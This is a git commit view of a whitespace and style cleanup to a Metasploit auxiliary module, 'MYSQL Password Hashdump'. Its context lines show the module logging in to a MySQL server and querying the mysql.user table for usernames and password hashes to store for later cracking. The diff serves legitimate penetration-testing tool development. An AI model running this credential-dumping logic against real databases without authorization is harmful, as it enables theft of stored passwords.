fix whitespace

MS-2855/keylogger-mettle-extension
Brent Cook 2018-02-08 13:48:24 -06:00
parent 00ead05237
commit 1bb5499fce
1 changed files with 54 additions and 58 deletions

View File

@ -12,10 +12,10 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'MYSQL Password Hashdump',
'Description' => %Q{
'Description' => %(
This module extracts the usernames and encrypted password
hashes from a MySQL server and stores them for later cracking.
},
),
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
)
@ -23,9 +23,7 @@ class MetasploitModule < Msf::Auxiliary
def run_host(ip)
if (not mysql_login_datastore)
return
end
return unless mysql_login_datastore
service_data = {
address: ip,
@ -56,20 +54,23 @@ class MetasploitModule < Msf::Auxiliary
create_credential_login(login_data)
#Grabs the username and password hashes and stores them as loot
# Grab the username and password hashes and store them as loot
version = mysql_get_variable("@@version")
if (5.6 < version[0..2].to_f)
# Starting from MySQL 5.7, the 'password' column was changed to 'authentication_string'.
if version[0..2].to_f > 5.6
res = mysql_query("SELECT user,authentication_string from mysql.user")
else
res = mysql_query("SELECT user,password from mysql.user")
end
if res.nil?
print_error("There was an error reading the MySQL User Table")
return
end
service_data = {
address: ::Rex::Socket.getaddress(rhost,true),
address: ::Rex::Socket.getaddress(rhost, true),
port: rport,
service_name: 'mysql',
protocol: 'tcp',
@ -99,10 +100,5 @@ class MetasploitModule < Msf::Auxiliary
create_credential_login(login_data)
end
end
end
end